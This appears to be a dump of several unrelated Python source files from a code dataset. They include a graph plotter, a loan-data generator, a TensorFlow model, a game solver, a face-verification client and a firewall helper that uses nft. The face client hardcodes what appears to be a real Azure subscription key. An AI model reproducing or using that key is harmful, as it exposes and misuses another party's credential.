Rotation angle of cave's central point around origin.\n theta = i * 2 * np.pi / n_caves\n # Rotation angle of nodes around central cave point.\n phi = j * 2 * np.pi / n_per_cave + cave_adjust_angle\n # Correct phi to keep same side of cave facing center in all caves.\n psi = phi - ((np.pi/2.0) - theta)\n\n newpos = (\n (l * np.cos(theta)) +\n (lp * np.cos(psi)),\n (l * np.sin(theta)) +\n (lp * np.sin(psi))\n )\n pos.append(newpos)\n\n cc = BoxedCavesExperiment(n_caves, n_per_cave, 1.0, 2)\n if randomize:\n cc.add_random_edges(randomize)\n\n gr = cc.network.graph\n\n if disconnected:\n gr = nx.caveman_graph(n_caves, n_per_cave)\n\n pos_dict = {\n node: pos[idx] for idx, node in enumerate(gr.nodes())\n }\n\n colors = sns.color_palette('hls', n_caves)\n\n if disconnected:\n n_agents = n_caves * n_per_cave\n node_colors = [colors[ii // n_per_cave] for ii in range(n_agents)]\n else:\n node_colors = [colors[gr.node[node]['cave_idx']]\n for node in pos_dict.keys()]\n\n plt.figure(figsize=figsize)\n\n nx.draw(gr, pos=pos_dict, node_color=node_colors)\n\n if save_path is not None:\n plt.savefig(save_path, bbox_inches='tight')\n\n return cc\n","sub_path":"vis_graph_connection.py","file_name":"vis_graph_connection.py","file_ext":"py","file_size_in_byte":1821,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"628022239","text":"import uuid, random\nimport logging.config\nfrom datetime import datetime\nfrom sqlalchemy import desc\n\nfrom models import *\nfrom generators import Generator\nimport settings\n\nlogger = logging.getLogger('data')\n\n\nclass DataPreparation:\n @staticmethod\n def create_serial_number(sn_type, session):\n prefix = sn_type + datetime.now().strftime('%Y%m%d')\n re_qs = session.query(SerialNumber).filter(SerialNumber.prefix == prefix).order_by(desc(SerialNumber.id))\n suffix = int(re_qs.first().suffix) + 1 if re_qs.count() > 0 else 1\n logger.info('Serial number: {}{:>08}'.format(prefix, suffix))\n return prefix, suffix, '{}{:>08}'.format(prefix, suffix)\n\n @staticmethod\n def customer_register(register_code, customer, product_code, user_id, organ_id, net_id):\n registration = CustomerRegister(insert_time=datetime.now(), update_time=datetime.now(),\n operator_id=0, delete_flag=0, organ_id=organ_id, net_id=net_id, organ_user_id=user_id,\n register_phone=customer.phone_number, register_code=register_code, product_code=product_code, register_time=datetime.now(),\n province=customer.province, city=customer.city, saleman_name=Generator.generate_name(), customer_source=Generator.generate_address())\n logger.info(registration)\n return registration\n\n @staticmethod\n def customer_apply(apply_code, register_code, customer, product_code, user_id, organ_id, net_id):\n product_name = '房供贷' if product_code == '1006' else '保单贷'\n apply = CustomerApply(insert_time=datetime.now(), update_time=datetime.now(), operator_id=0, delete_flag=0,\n apply_id=apply_code, apply_time=datetime.now(), customer_register_code=register_code, register_time=datetime.now(),\n organ_id=organ_id, net_id=net_id, organ_user_id=user_id, register_phone=customer.phone_number, product_code=product_code, product_name=product_name,\n province=customer.province, city=customer.city, act_pid=str(uuid.uuid4()))\n logger.info(apply)\n return apply\n\n @staticmethod\n def customer_id_card(apply_code, customer):\n idcard = IdCard(insert_time=datetime.now(), update_time=datetime.now(), operator_id=0, delete_flag=0,\n customer_apply_id=apply_code, name=customer.name, gender=customer.gender,\n id_number=customer.id_number, birthday='{}年{:02}月{:02}日'.format(customer.year, customer.month, customer.day),\n address=customer.address, valid_time='{}{:02}{:02}'.format(str(2050), customer.month, customer.day),\n head_pic='20180605/31cd6135-1b58-447c-b353-40dca8df9fe7.jpg', authentication_organ='{}{}公安局{}分局'.format(customer.province, customer.city, customer.district))\n logger.info(idcard)\n return idcard\n\n @staticmethod\n def customer_check_file(apply_code, file_type):\n check_file = CheckFile(insert_time=datetime.now(), update_time=datetime.now(), operator_id=0, delete_flag=0,\n customer_apply_id=apply_code, file_type=file_type, virtual_path=[\n '20170913/a61e47cc-b95c-423d-8850-1573313e6428.jpg',\n '20170913/e2f94cdc-e70c-4e2f-ba85-13f52cf88e3c.jpg',\n '20170913/e9e22e78-0bb9-4f11-8708-f79834fefe25.avi',\n ][file_type - 1])\n logger.info(check_file)\n return check_file\n\n @staticmethod\n def customer_application_info_pre(apply_code, customer):\n basic_info = BasicInfo(insert_time=datetime.now(), update_time=datetime.now(), operator_id=0, delete_flag=0,\n customer_apply_id=apply_code, customer_apply_time=datetime.now(), loan_use=['经营用途', '个人消费用途', '农牧业用途'][random.randint(0, 2)],\n loan_use_descr='购置设备', loan_use_self_descr='购置设备', apply_amount=['10万以下', '10-20万', '20-30万'][random.randint(0, 2)],\n education=customer.education, marriage=customer.marriage, support_num=customer.family, income=customer.incoming, living_type=customer.property,\n employment_type=customer.employment_type, transportation=customer.vehicle, loan_use_child='批发零售类', province=customer.province,\n city=customer.city, districts=customer.district, street=customer.address)\n logger.info(basic_info)\n return basic_info\n\n @staticmethod\n def customer_policy(apply_code):\n policy = Policy(insert_time=datetime.now(), update_time=datetime.now(), operator_id=0, delete_flag=0,\n customer_apply_id=apply_code, serial_number='{:04}'.format(random.randint(1, 9999)), pay_type='月缴', year_pay_amount=1200,\n company_name='中国人民保险', insurance_type=['传统', '万能', '分红'][random.randint(0, 2)], effect_time='2018-01-01',\n current_status=random.randint(1, 2), break_pay=random.randint(1, 2), revival=random.randint(1, 2), policy_holder_change=random.randint(1, 2))\n logger.info(policy)\n return policy\n\n @staticmethod\n def customer_policy_photo(apply_code, policy_id):\n policy_photo = PolicyPhoto(insert_time=datetime.now(), update_time=datetime.now(), operator_id=0, delete_flag=0,\n customer_apply_id=apply_code, customer_policy_id=policy_id,\n path='s3://jz-ui-uploads/20180904/AP2018090400000001/63eb46f0-2af7-433c-a323-1e1556c8d62b.jpg', order_num=1)\n logger.info(policy_photo)\n return policy_photo\n\n @staticmethod\n def api_pboc(apply_code, session):\n logger.info('查询申请:' + apply_code)\n product = session.query(CustomerApply).filter(CustomerApply.apply_id == apply_code).one()\n logger.info('查询身份证信息')\n id_card = session.query(IdCard).filter(IdCard.customer_apply_id == apply_code).one()\n logger.info('创建' + ('房供贷' if product.product_code == '1006' else '保单贷,') + 'ID:' + id_card.id_number + ',姓名:' + id_card.name)\n pboc1 = PBOC(idNo=id_card.id_number, name=id_card.name, url=settings.HOUSE_LOAN_URL_SIMPLE, supply=settings.LOAN_SUPPLY_SIMPLE, request_data='', response_data=settings.HOUSE_LOAN_RESPONSE_SIMPLE)\n pboc2 = PBOC(idNo=id_card.id_number, name=id_card.name, url=settings.HOUSE_LOAN_URL_JINDIAN, supply=settings.LOAN_SUPPLY_JINDIAN, request_data='', response_data=settings.HOUSE_LOAN_RESPONSE_JINDIAN)\n if product.product_code == '1007':\n pboc1 = PBOC(idNo=id_card.id_number, name=id_card.name, url=settings.POLICY_LOAN_URL_SIMPLE, supply=settings.LOAN_SUPPLY_SIMPLE, request_data='', response_data=settings.POLICY_LOAN_RESPONSE_SIMPLE)\n pboc2 = PBOC(idNo=id_card.id_number, name=id_card.name, url=settings.POLICY_LOAN_URL_JINDIAN, supply=settings.LOAN_SUPPLY_JINDIAN, request_data='', response_data=settings.POLICY_LOAN_RESPONSE_JINDIAN)\n return pboc1, pboc2\n\n @staticmethod\n def customer_check_file_result(apply_code):\n check_file = CheckFileResult(delete_flag=0, customer_apply_id=apply_code, operator_id=0, organ_user_id=0, result=1)\n logger.info(check_file)\n return check_file\n\n @staticmethod\n def customer_applyconfirm_result(apply_code):\n apply_confirm_result = ApplyConfirmResult(delete_flag=0, customer_apply_id=apply_code, customer_result=1)\n logger.info(apply_confirm_result)\n return apply_confirm_result\n\n @staticmethod\n def customer_application_info(apply_code):\n application_info = ApplicationInfo(delete_flag=0, customer_apply_id=apply_code)\n logger.info(application_info)\n return application_info\n\n @staticmethod\n def customer_intermediary_agreement_file(apply_code, operator_id=0):\n media_file2 = InterMediaFile(operator_id=operator_id, delete_flag=0, customer_apply_id=apply_code, type=2, path=settings.INTERMEDIA_AGREEMENT_2, is_skip=0)\n logger.info(media_file2)\n media_file3 = InterMediaFile(operator_id=operator_id, delete_flag=0, customer_apply_id=apply_code, type=3, path=settings.INTERMEDIA_AGREEMENT_3, is_skip=0)\n logger.info(media_file3)\n media_file4 = InterMediaFile(operator_id=operator_id, delete_flag=0, customer_apply_id=apply_code, type=4, is_skip=0)\n logger.info(media_file4)\n return media_file2, media_file3, media_file4\n\n @staticmethod\n def customer_intermediary_agreement_result(apply_code, operator_id=0):\n media_file_result = InterMediaFileResullt(customer_apply_id=apply_code, delete_flag=0, result=1, operator_id=operator_id, organ_user_id=operator_id)\n logger.info(media_file_result)\n return media_file_result\n\n @staticmethod\n def customer_phcheck_result_house(apply_code, operator=0):\n house_result = PhoneCheckResullt(customer_apply_id=apply_code, delete_flag=0, result=1, operator_id=operator, organ_user_id=operator)\n logger.info(house_result)\n return house_result\n\n @staticmethod\n def customer_phcheck_result_policy(apply_code, operator=0):\n policy_result = PhoneCheckResullt(customer_apply_id=apply_code, delete_flag=0, self_result='通过', contact_result='通过', operator_id=operator, organ_user_id=operator)\n logger.info(policy_result)\n return policy_result\n","sub_path":"data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":9527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"55198196","text":"# -*- coding: utf-8 -*-\nimport tensorflow as tf\nimport numpy as np\nimport os\nimport sys\nsys.path.append('../../')\nsys.path.append('../')\nfrom create_prior_knowledge import create_prior\nfrom gumbel_softmax import gumbel_softmax\n\ndef weight_variable(name, shape, pad=True):\n initial = np.random.uniform(-0.01, 0.01, size=shape)\n if pad == True:\n initial[0] = np.zeros(shape[1])\n initial = tf.constant_initializer(initial)\n return tf.get_variable(name=name, shape=shape, initializer=initial)\n\ndef attentive_sum(inputs,input_dim, hidden_dim):\n with tf.variable_scope(\"attention\"):\n seq_length = len(inputs)\n W = weight_variable('att_W', (input_dim,hidden_dim))\n U = weight_variable('att_U', (hidden_dim,1))\n tf.get_variable_scope().reuse_variables()\n temp1 = [tf.nn.tanh(tf.matmul(inputs[i],W)) for i in range(seq_length)]\n temp2 = [tf.matmul(temp1[i],U) for i in range(seq_length)]\n pre_activations = tf.concat(1,temp2)\n attentions = tf.split(1, seq_length, tf.nn.softmax(pre_activations))\n weighted_inputs = [tf.mul(inputs[i],attentions[i]) for i in range(seq_length)]\n output = tf.add_n(weighted_inputs)\n return output, attentions\n\n\nclass Model:\n def __init__(\n self,type = \"figer\", encoder = \"averaging\",\n hier = False, feature = False, LE=None, vocab_size=0, lamb=0.0,\n LMout=None, hard=False):\n\n # Argument Checking\n assert(encoder in [\"averaging\", \"lstm\", \"attentive\"])\n assert(type in [\"figer\", \"gillick\"])\n self.type = type\n self.encoder = encoder\n self.hier = hier\n self.feature = feature\n self.LE = LE\n self.hard = hard\n\n # Hyperparameters\n self.lamb = lamb\n self.context_length = 10\n self.emb_dim = 300\n self.target_dim = 113 if type == \"figer\" else 89\n self.feature_size = 600000 if type == \"figer\" else 100000\n self.learning_rate = 0.001\n self.lstm_dim = 100\n self.LM_dim = 500\n self.att_dim = 100 # dim of attention module\n self.feature_dim = 50 # dim of feature representation\n self.feature_input_dim = 70\n self.vocab_size = vocab_size\n if encoder == \"averaging\":\n self.rep_dim = self.emb_dim * 3\n else:\n self.rep_dim = self.lstm_dim * 2 + self.emb_dim\n if feature:\n self.rep_dim += self.feature_dim\n\n self.build_typing_part()\n self.build_LM_part()\n \n\n # Loss Function\n self.type_loss = tf.reduce_mean(self.type_loss)\n self.LM_loss_total = tf.reduce_mean(\n self.LM_loss)#[:, self.context_length:self.context_length+2])\n # !!! probable problems here\n self.pre_loss = tf.reduce_mean(self.LM_pre_loss)\n\n self.loss = self.type_loss# + self.lamb * self.LM_loss_total\n\n\n\n\n # Optimizer\n\n LM_namelist = [\"LM_W:0\",\n \"LM_b:0\",\n \"LM/RNN/LSTMCell/W_0:0\",\n \"LM/RNN/LSTMCell/B:0\",\n \"LM2/RNN/LSTMCell/W_0:0\",\n \"LM2/RNN/LSTMCell/B:0\"]\n LM_exclude = [v for v in tf.all_variables() if v.name not in LM_namelist]\n self.optim = tf.train.AdamOptimizer(self.learning_rate)\n self.trainer = self.optim.minimize(self.loss, var_list=LM_exclude)\n self.pre_optim = tf.train.AdamOptimizer(self.learning_rate)\n self.pre_trainer = self.pre_optim.minimize(self.pre_loss)\n\n\n # Session\n self.init = tf.initialize_all_variables()\n self.session = tf.Session()\n self.session.run(self.init)\n\n # Saver\n LM_savelist = [v for v in tf.all_variables() if v.name in LM_namelist]\n self.LM_saver = tf.train.Saver(LM_savelist,\n max_to_keep=100, name=\"LMSaver\")\n self.saver = tf.train.Saver(max_to_keep=100, name=\"Saver\")\n\n def build_typing_part(self):\n # Place Holders\n self.keep_prob = tf.placeholder(tf.float32, name=\"keep_prob\")\n self.mention_representation = tf.placeholder(tf.float32, \n [None,self.emb_dim], name=\"mention_repr\")\n self.context = [\n tf.placeholder(tf.float32, [None, self.emb_dim], name=\"context\"+str(i))\n for i in range(self.context_length*2+1)]\n self.target = tf.placeholder(tf.float32,\n [None,self.target_dim], name=\"target\")\n ### dropout and splitting context into left and right\n self.mention_representation_dropout = tf.nn.dropout(self.mention_representation,self.keep_prob)\n self.left_context = self.context[:self.context_length]\n self.right_context = self.context[self.context_length+1:]\n\n\n \n # Averaging Encoder\n if self.encoder == \"averaging\":\n self.left_context_representation = tf.add_n(self.left_context)\n self.right_context_representation = tf.add_n(self.right_context)\n self.context_representation = tf.concat(1,[self.left_context_representation,self.right_context_representation])\n\n # LSTM Encoder\n if self.encoder == \"lstm\":\n self.left_lstm = tf.nn.rnn_cell.LSTMCell(self.lstm_dim,state_is_tuple=True)\n self.right_lstm = tf.nn.rnn_cell.LSTMCell(self.lstm_dim,state_is_tuple=True)\n with tf.variable_scope(\"rnn_left\") as scope:\n self.left_rnn,_ = tf.nn.rnn(self.left_lstm,self.left_context,dtype=tf.float32)\n with tf.variable_scope(\"rnn_right\") as scope:\n self.right_rnn,_ = tf.nn.rnn(self.right_lstm,list(reversed(self.right_context)),dtype=tf.float32)\n self.context_representation = tf.concat(1,[self.left_rnn[-1],self.right_rnn[-1]])\n\n # Attentive Encoder\n if self.encoder == \"attentive\":\n self.left_lstm_F = tf.nn.rnn_cell.LSTMCell(self.lstm_dim,state_is_tuple=True)\n self.right_lstm_F = tf.nn.rnn_cell.LSTMCell(self.lstm_dim,state_is_tuple=True)\n self.left_lstm_B = tf.nn.rnn_cell.LSTMCell(self.lstm_dim,state_is_tuple=True)\n self.right_lstm_B = tf.nn.rnn_cell.LSTMCell(self.lstm_dim,state_is_tuple=True)\n with tf.variable_scope(\"rnn_left\") as scope:\n self.left_birnn,_,_ = tf.nn.bidirectional_rnn(self.left_lstm_F,self.left_lstm_B,self.left_context,dtype=tf.float32)\n with tf.variable_scope(\"rnn_right\") as scope:\n self.right_birnn,_,_ = tf.nn.bidirectional_rnn(self.right_lstm_F,self.right_lstm_B,list(reversed(self.right_context)),dtype=tf.float32)\n self.context_representation, self.attentions = attentive_sum(self.left_birnn + self.right_birnn, input_dim = self.lstm_dim * 2, hidden_dim = self.att_dim)\n\n\n # Logistic Regression\n if self.feature:\n self.features = tf.placeholder(tf.int32,[None,self.feature_input_dim])\n self.feature_embeddings = weight_variable('feat_embds', (self.feature_size, self.feature_dim), True)\n self.feature_representation = tf.nn.dropout(tf.reduce_sum(tf.nn.embedding_lookup(self.feature_embeddings,self.features),1),self.keep_prob)\n self.representation = tf.concat(1, [self.mention_representation_dropout, self.context_representation, self.feature_representation])\n else:\n self.representation = tf.concat(1, [self.mention_representation_dropout, self.context_representation])\n\n if self.hier:\n _d = \"Wiki\" if self.type == \"figer\" else \"OntoNotes\"\n S = create_prior(\"./resource/\"+_d+\"/label2id_\"+self.type+\".txt\")\n assert(S.shape == (self.target_dim, self.target_dim))\n self.S = tf.constant(S,dtype=tf.float32)\n self.V = weight_variable('hier_V', (self.target_dim,self.rep_dim))\n self.W = tf.transpose(tf.matmul(self.S,self.V))\n self.logit = tf.matmul(self.representation, self.W)\n else:\n self.W = weight_variable('hier_W', (self.rep_dim,self.target_dim))\n self.logit = tf.matmul(self.representation, self.W)\n\n self.distribution = tf.nn.sigmoid(self.logit)\n self.type_loss = tf.nn.sigmoid_cross_entropy_with_logits(self.logit, self.target)\n\n def build_LM_part(self):\n # Label Embedding (LE) and Language Model (LM)\n self.label_embedding = tf.Variable(self.LE, name=\"LE\", trainable=False)\n if not self.hard:\n self.label_input = tf.matmul(\n tf.nn.softmax(self.logit), self.label_embedding)\n else:\n self.label_input = tf.matmul(\n gumbel_softmax(self.logit, 0.5, False), self.label_embedding)\n\n\n # Place Holders\n self.LM_keep_prob = tf.placeholder(tf.float32, name=\"LM_keep_prob\")\n self.LM_pre_context = [\n tf.placeholder(tf.float32,\n [None, self.emb_dim], name=\"pre_context\"+str(i))\n for i in range(self.context_length*2+1)]\n self.LM_context = [\n tf.placeholder(tf.float32,\n [None, self.emb_dim], name=\"context\"+str(i))\n for i in range(self.context_length*2+1)]\n self.LM_sp_in = tf.sparse_placeholder(tf.int32, name=\"sp_in\")\n # [2*self.context_length+1, None, 1], name=\"sp_in\")\n self.context_id = tf.placeholder(tf.int32,\n [None, self.context_length*2+1], name=\"context_id\")\n \n\n\n # LM parameters\n self.LM = tf.nn.rnn_cell.LSTMCell(self.LM_dim, state_is_tuple=True)\n self.LM2 = tf.nn.rnn_cell.LSTMCell(self.emb_dim, state_is_tuple=True)\n # self.LM_W = tf.Variable(tf.to_float(tf.transpose(LMout)),\n # name=\"LM_W\")\n self.LM_W = weight_variable(\n \"LM_W\", [self.emb_dim, self.vocab_size], pad=False)\n self.LM_b = weight_variable(\n \"LM_b\", [self.vocab_size], pad=False)\n\n\n # LM pretrain\n self.LM_pre_in = tf.pack(self.LM_pre_context)\n with tf.variable_scope(\"LM\") as scope:\n self.LM_pre_out_, _ = tf.nn.dynamic_rnn(\n self.LM, self.LM_pre_in,\n time_major=True, dtype=tf.float32)\n self.LM_pre_out_ = tf.nn.dropout(self.LM_pre_out_, self.LM_keep_prob)\n with tf.variable_scope(\"LM2\") as scope:\n self.LM_pre_out, _ = tf.nn.dynamic_rnn(\n self.LM2, self.LM_pre_out_,\n time_major=True, dtype=tf.float32)\n self.LM_pre_outs = tf.reshape(self.LM_pre_out, [-1, self.emb_dim])\n self.LM_pre_logit = tf.matmul(self.LM_pre_outs, self.LM_W) + self.LM_b\n self.LM_pre_logit = tf.reshape(self.LM_pre_logit,\n [-1, self.context_length*2+1, self.vocab_size])[:, :-1, :]\n self.LM_pre_loss = tf.nn.sparse_softmax_cross_entropy_with_logits(\n self.LM_pre_logit, self.context_id[:, 1:])\n\n\n # LM in typing\n self.sp = tf.contrib.layers.safe_embedding_lookup_sparse(\n [self.label_input], self.LM_sp_in, combiner=\"sum\")\n self.sp.set_shape([self.context_length*2+1, None, self.emb_dim])\n self.LM_in = tf.pack(self.LM_context) + self.sp #!!!!!!!!!!!!!!\n\n with tf.variable_scope(\"LM\", reuse=True) as scope:\n self.LM_out_, _ = tf.nn.dynamic_rnn(\n self.LM, self.LM_in,\n time_major=True, dtype=tf.float32)\n self.LM_out_ = tf.nn.dropout(self.LM_out_, self.LM_keep_prob)\n with tf.variable_scope(\"LM2\", reuse=True) as scope:\n self.LM_out, _ = tf.nn.dynamic_rnn(\n self.LM2, self.LM_out_,\n time_major=True, dtype=tf.float32)\n self.LM_outs = tf.reshape(self.LM_out, [-1, self.emb_dim])\n self.LM_logit = tf.matmul(self.LM_outs, self.LM_W) + self.LM_b\n self.LM_logit = tf.reshape(self.LM_logit,\n [-1, self.context_length*2+1, self.vocab_size])[:, :-1, :]\n self.LM_loss = tf.nn.sparse_softmax_cross_entropy_with_logits(\n self.LM_logit, self.context_id[:, 1:])\n\n \n\n def _feed(self, batch, kp=1.0, lkp=1.0):\n feed = {\n self.keep_prob: kp,\n self.LM_keep_prob: lkp,\n self.mention_representation: batch[\"target_mean\"],\n self.target: batch[\"Y\"],\n self.context_id: batch[\"context_id\"],\n }\n if self.feature == True and batch[\"F\"] is not None:\n feed[self.features] = batch[\"F\"]\n cmid = batch[\"cmid\"]\n sp_in = [[], []]\n for i in range(self.context_length*2+1):\n feed[self.context[i]] = batch[\"context\"][:,i,:]\n vec = batch[\"LM_context\"][:, i, :]\n feed[self.LM_pre_context[i]] = [tuple(ent) for ent in vec]\n # otherwise it would be changed\n for j in range(len(cmid)): # i: timestep; j: batch_num\n if i==cmid[j]:\n vec[j] = np.zeros([self.emb_dim])\n sp_in[0].append([i, j, 0])\n sp_in[1].append(j)\n feed[self.LM_context[i]] = vec\n sp_in.append([2*self.context_length+1, len(cmid), 1])\n feed[self.LM_sp_in] = sp_in\n\n return feed\n\n def printer(self, plist, batch, mute=False):\n feed = self._feed(batch)\n\n def pr(what):\n tmp = self.session.run(what, feed_dict=feed)\n if not mute:\n print(tmp)\n print(tmp.shape)\n return tmp\n\n\n ans = []\n for p in plist:\n bigtmp = []\n if isinstance(p, list):\n for pp in p:\n tmp = pr(pp)\n bigtmp.append(tmp)\n else:\n tmp = pr(p)\n bigtmp = tmp\n ans.append(bigtmp)\n if not mute:\n print\n return ans\n\n def train(self, batch):\n feed = self._feed(batch, kp=0.5)\n self.session.run(self.trainer,feed_dict=feed)\n\n def pretrain(self, batch):\n feed = self._feed(batch, lkp=0.5)\n self.session.run(self.pre_trainer,feed_dict=feed)\n\n def predict(self, batch):\n feed = self._feed(batch)\n return self.session.run(self.distribution,feed_dict=feed)\n\n def save_LM(self, step, id):\n print(\"Saving LM model\")\n try:\n os.mkdir(\"./LMmodel/\"+id)\n except OSError as e:\n if e.errno!=17: #File exists\n raise e\n self.LM_saver.save(self.session, \"./LMmodel/\"+id+\"/model\", step)\n\n\n def save_all(self, step, id):\n print(\"Saving the entire model\")\n try:\n os.mkdir(\"./Emodel/\"+id)\n except OSError as e:\n if e.errno!=17: #File exists\n raise e\n self.saver.save(self.session, \"./Emodel/\"+id+\"/model\", step)\n\n \n def load_LM(self, path=None):\n print(\"Loading LM model\")\n if path is None:\n self.LM_saver.restore(self.session, \"./LMmodel/debug-1000/model\")\n else:\n self.LM_saver.restore(self.session, path)\n\n def load_all(self, path=None):\n print(\"Loading the model\")\n if path is None:\n self.saver.restore(self.session,\n \"./Models/Wiki/lamb0.005/model\")\n else:\n self.saver.restore(self.session, path)\n print(path)\n\n def save_label_embeddings(self):\n pass\n","sub_path":"src/model/nn_model.py","file_name":"nn_model.py","file_ext":"py","file_size_in_byte":15274,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"60278769","text":"from collections import defaultdict\nfrom collections import deque\n\n\nclass Solution:\n def catMouseGame(self, graph):\n \"\"\"\n :type graph: List[List[int]]\n :rtype: int\n \"\"\"\n N = len(graph)\n # key = (mouse, cat, turn). turn: 1:mouse, 2:cat\n results = defaultdict(int) # val: 0: draw, 1: mouse win, 2: cat win\n q = deque()\n for c in range(1, N):\n results[(0, c, 2)] = 1\n q.append((0, c, 2, 1))\n results[(c, c, 2)] = results[(c, c, 1)] = 2\n q.append((c, c, 2, 2))\n q.append((c, c, 1, 2))\n children = dict()\n for m in range(N):\n for c in range(1, N):\n children[(m, c, 1)] = len(graph[m])\n children[(m, c, 2)] = len(graph[c]) - (0 in graph[c])\n while q:\n # in q, r won't be 0\n m, c, t, r = q.popleft()\n for pm, pc, pt in self.parents(graph, m, c, t):\n if (pm, pc, pt) in results:\n continue\n if r == pt:\n results[(pm, pc, pt)] = r\n q.append((pm, pc, pt, r))\n else:\n children[(pm, pc, pt)] -= 1\n if children[(pm, pc, pt)] == 0:\n results[(pm, pc, pt)] = r\n q.append((pm, pc, pt, r))\n return results[(1, 2, 1)]\n\n def parents(self, graph, m, c, t):\n if t == 1:\n for pc in graph[c]:\n if pc != 0:\n yield m, pc, 2\n else:\n for pm in graph[m]:\n yield pm, c, 1\n\n\nsol = Solution()\n# ret = sol.catMouseGame([[2, 5], [3], [0, 4, 5], [1, 4, 5], [2, 3], [0, 2, 3]])\n# ret = sol.catMouseGame([[2, 3], [2], [0, 1], [0, 4], [3]])\n# ret = sol.catMouseGame([[2, 3, 4], [4], [0, 3], [0, 2], [0, 1]])\n# ret = sol.catMouseGame([[6], [4], [9], [5], [1, 5], [3, 4, 6], [\n# 0, 5, 10], [8, 9, 10], [7], [2, 7], [6, 7]])\nret = sol.catMouseGame([[2,9,14],[2,5,7],[0,1,3,8,9,11,14],[2,12],[5,11,18],[1,4,18],[9,17,19],[1,11,12,13,14,17,19],[2,16,17],[0,2,6,12,14,18],[14],[2,4,7],[3,7,9,13],[7,12,14],[0,2,7,9,10,13,17],[18],[8,19],[6,7,8,14,19],[4,5,9,15],[6,7,16,17]])\nprint(ret)\n","sub_path":"src/cat-and-mouse.py","file_name":"cat-and-mouse.py","file_ext":"py","file_size_in_byte":2263,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"266228781","text":"import json, os, requests\nfrom .face_detect import Face_detect\n\ndef Config():\n subscription_key ='df1da1e0cc834b5890a4b608724a5b46'\n assert subscription_key\n\n face_api_url ='https://preptalk-webcam.cognitiveservices.azure.com/face/v1.0/verify'\n headers = {'Content-Type': 'application/json','Ocp-Apim-Subscription-Key': subscription_key}\n\n params = {\n 'detectionModel': 'detection_01',\n 'returnFaceAttributes': 'age',\n 'returnFaceId': 'true'\n }\n return face_api_url,params,headers\n \ndef Face_verify(image1,image2):\n \n \n #image1=open(image1,\"rb\")\n #image2=open(image2,\"rb\")\n \n faceId1=Face_detect(image1)\n faceId2=Face_detect(image2)\n data={\n 'faceId1':faceId1,\n 'faceId2':faceId2\n }\n face_api_url,params,headers=Config()\n response = requests.post(face_api_url, params=params,\n headers=headers, json=data)\n \n result= response.json()\n return result\n\n#image1=os.path.join('C:/Users/banoth.sunil/Documents/WebCam/Data/pan_card.jpeg')\n#image2=os.path.join('C:/Users/banoth.sunil/Documents/WebCam/Data/download.png')\n#print(Face_verify(image1,image2))","sub_path":"src/verify_face.py","file_name":"verify_face.py","file_ext":"py","file_size_in_byte":1202,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"652184418","text":"__alunos__ = [\"email_aluno_1\", \"email_aluno2\"]\nimport auxiliares as aux\n\n\ndef calcula_media_palavras_livro(palavras):\n \"\"\"\n (list) -> (dict)\n Recebe uma lista de palavras e devolve um Dicionário Python onde cada\n chave é uma das palavras passadas como paramêtro e o valor associado é a\n média de ocorrências da palavra nos livros da bíblia.\n \"\"\"\n\n biblia = {}\n livros = 0\n for linha in aux.le_biblia():\n if aux.eh_novo_livro(linha):\n livros += 1\n for palavra in linha.split():\n if palavra not in biblia:\n biblia[palavra] = 1\n else:\n biblia[palavra] += 1\n medias = {}\n for palavra in palavras:\n if palavra in biblia:\n medias[palavra] = biblia[palavra]/livros\n else:\n medias[palavra] = 0\n return medias\n\n\nprint(calcula_media_palavras_livro(['angel']))\n","sub_path":"LP II/calcula_media_palavras_livro.py","file_name":"calcula_media_palavras_livro.py","file_ext":"py","file_size_in_byte":906,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"647630525","text":"\nfrom js9 import j\n\nbase = j.tools.prefab._getBaseClass()\n\n\nclass PrefabFW(base):\n\n def _init(self):\n self._fw_enabled = None\n self._fw_type = None\n\n @property\n def fw_type(self):\n if self._fw_type is None:\n if self.prefab.core.isMac:\n raise j.exceptions.Input(message=\"cannot enable fw, mac not supported \",\n level=1, source=\"\", tags=\"\", msgpub=\"\")\n\n if self.prefab.bash.cmdGetPath(\"nft\", die=False) is not False:\n self._fw_type = \"nft\"\n else:\n raise NotImplemented(\"only support nft for now\")\n\n return self._fw_type\n\n def allowIncoming(self, port, protocol='tcp'):\n \"\"\"as alternative on ufw\"\"\"\n if self.prefab.core.isMac:\n return\n self.prefab.core.run(\n \"nft add rule filter input {protocol} dport {port} log accept\".format(protocol=protocl, port=port))\n\n def denyIncoming(self, port):\n if self.prefab.core.isMac:\n return\n self.prefab.core.run(\n \"nft add rule filter input {protocol} dport {port} log reject\".format(protocol=protocl, port=port))\n\n def flush(self, permanent=False):\n self.prefab.core.run(\"nft flush ruleset\")\n if permanent:\n self.setRuleset(\"\")\n\n def show(self):\n rc, out = self.prefab.core.run(\"nft list ruleset\")\n\n def getRuleset(self):\n rc, out, err = self.prefab.core.run(\"nft list ruleset\", showout=False)\n return out\n\n def setRuleset(self, ruleset, pinghost=\"8.8.8.8\"):\n if not self.prefab.system.net.ping(pinghost):\n raise j.exceptions.Input(\n message=\"Cannot set firewall ruleset if we cannot ping to the host we have to check against.\",\n level=1,\n source=\"\",\n tags=\"\",\n msgpub=\"\")\n rc, currentruleset, err = self.prefab.core.run(\"nft list ruleset\")\n if ruleset in currentruleset:\n return\n\n pscript = \"\"\"\n C='''\n $ruleset\n '''\n import os\n import time\n\n rc=os.system(\"nft list ruleset > /tmp/firelwallruleset_old\")\n if rc>0:\n raise RuntimeError(\"Cannot export firelwall ruleset\")\n\n f = open('/etc/nftables.conf', 'w')\n f.write(C)\n\n #now applying\n self.logger.info(\"applied ruleset\")\n rc=os.system(\"nft -f /etc/nftables.conf\")\n time.sleep(1)\n\n rc2=os.system(\"ping -c 1 $pinghost\")\n\n if rc2!=0:\n self.logger.info(\"could not apply, restore\")\n #could not ping need to restore\n os.system(\"cp /tmp/firelwallruleset_old /etc/nftables.conf\")\n rc=os.system(\"nft -f /etc/nftables.conf\")\n\n if rc>0 or rc2>0:\n raise RuntimeError(\"Could not set interface file, something went wrong, previous situation restored.\")\n\n\n \"\"\"\n pscript = 